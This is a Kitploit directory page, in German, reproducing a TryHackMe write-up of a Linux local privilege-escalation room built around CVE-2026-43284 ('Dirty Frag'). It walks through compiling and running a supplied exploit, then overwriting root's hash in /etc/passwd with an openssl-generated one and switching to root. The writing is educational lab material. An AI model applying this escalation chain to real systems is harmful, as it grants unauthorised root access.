Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-43284---DirtyFrag-Analysis-THM- — TryHackMe Dirty Frag (CVE-2026-43284) — Linux LPE writeup | Kitploit
Tools/GitHubGitHub/revyhub/cve-2026-43284---dirtyfrag-analysis-thm-
Privilege EscalationVulnerability AnalysisExploitationCTFLearning & EducationLabs & Practice
GitHubrevyhub/cve-2026-43284---dirtyfrag-analysis-thm-

CVE-2026-43284---DirtyFrag-Analysis-THM-

TryHackMe Dirty Frag (CVE-2026-43284) — Linux LPE writeup

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 18 TagenNoch nicht geprüft

TryHackMe — CVE-2026-43284: Dirty Frag

Raum: CVE-2026-43284: Dirty Frag Kategorie: Linux-Privilege-Escalation Autor: (Meine Seite)

Übersicht

Dirty Frag ist ein Raum zur verketteten lokalen Privilege Escalation (LPE) unter Linux, der um CVE-2026-43284 herum aufgebaut ist. Das Ziel ist es, von einer unprivilegierten Shell zu Root zu gelangen, indem ein mitgelieferter Proof-of-Concept-Exploit ausgenutzt wird.

Initiale Enumeration

Ein Blick in das Arbeitsverzeichnis zeigt die für den Exploit bereitgestellten Dateien:

root@kitploit:~
$ ls
README.txt
exp
exp.c
  • exp.c — der Quellcode des Exploits
  • exp — ein vorkompiliertes Binary (passt möglicherweise nicht zur Zielumgebung)
  • README.txt — die mit dem Exploit gelieferten Hinweise zur Verwendung

Den Exploit bauen

Da das mitgelieferte exp-Binary möglicherweise nicht mit der exakten Umgebung des Zielsystems kompatibel ist, ist es sicherer, es aus dem Quellcode neu zu bauen:

root@kitploit:~
$ gcc -O0 -Wall -o exp exp.c -lutil
  • -O0 deaktiviert Compiler-Optimierungen, sodass das Verhalten vorhersehbar bleibt und dem Quellcode entspricht
  • -Wall aktiviert Compiler-Warnungen, was zur Plausibilitätsprüfung des Builds nützlich ist
  • -lutil bindet libutil ein — üblicherweise erforderlich, wenn der Code Pseudo-Terminal-Funktionen (pty) verwendet

Die Schwachstelle auslösen

root@kitploit:~
$ ./exp

Die Ausführung des kompilierten Exploits löst den zugrunde liegenden Fehler aus und führt zu Schreibzugriff auf eine Datei, die für unprivilegierte Benutzer normalerweise schreibgeschützt sein sollte — in diesem Fall /etc/passwd.

Eskalation zu Root

Mit erlangtem Schreibzugriff wird ein neuer Passwort-Hash für root erzeugt:

root@kitploit:~
$ openssl passwd -1 root
$1$igIXG8so$6K9OaEbAaj.qaknYx9ST..

Dieser Hash wird anstelle des vorhandenen Hash-Felds von root in /etc/passwd geschrieben:

root@kitploit:~
$ nano /etc/passwd

Da das Passwort von root nun bekannt ist, ist der Benutzerwechsel unkompliziert:

root@kitploit:~
$ su root

Die Flagge einsammeln

root@kitploit:~
$ cat /root/flag.txt
THM{REDACTED}

Erkenntnisse

  • (Das hat anfangs über 30 Minuten gedauert, um es grundlegend zu verstehen, aber sobald ich es verstanden hatte, konnte ich denselben Exploit wiederholt mehrfach ausführen)
  • (Der innere Root-Code ist seltsam: Man kann die Basis-Steuerelemente nicht auswählen und verwenden, stattdessen nutzt man die Pfeiltasten, um zu root❌ zu navigieren, und ersetzt X durch den erstellten Hash)

Gegenmaßnahmen

  • Halte Kernel- und Systempakete gepatcht und aktuell

Dieser Writeup dokumentiert einen abgeschlossenen TryHackMe-Raum zu Bildungszwecken. Die Zielumgebung ist eine absichtlich verwundbare Maschine, die von TryHackMe bereitgestellt wird.

Tool herunterladen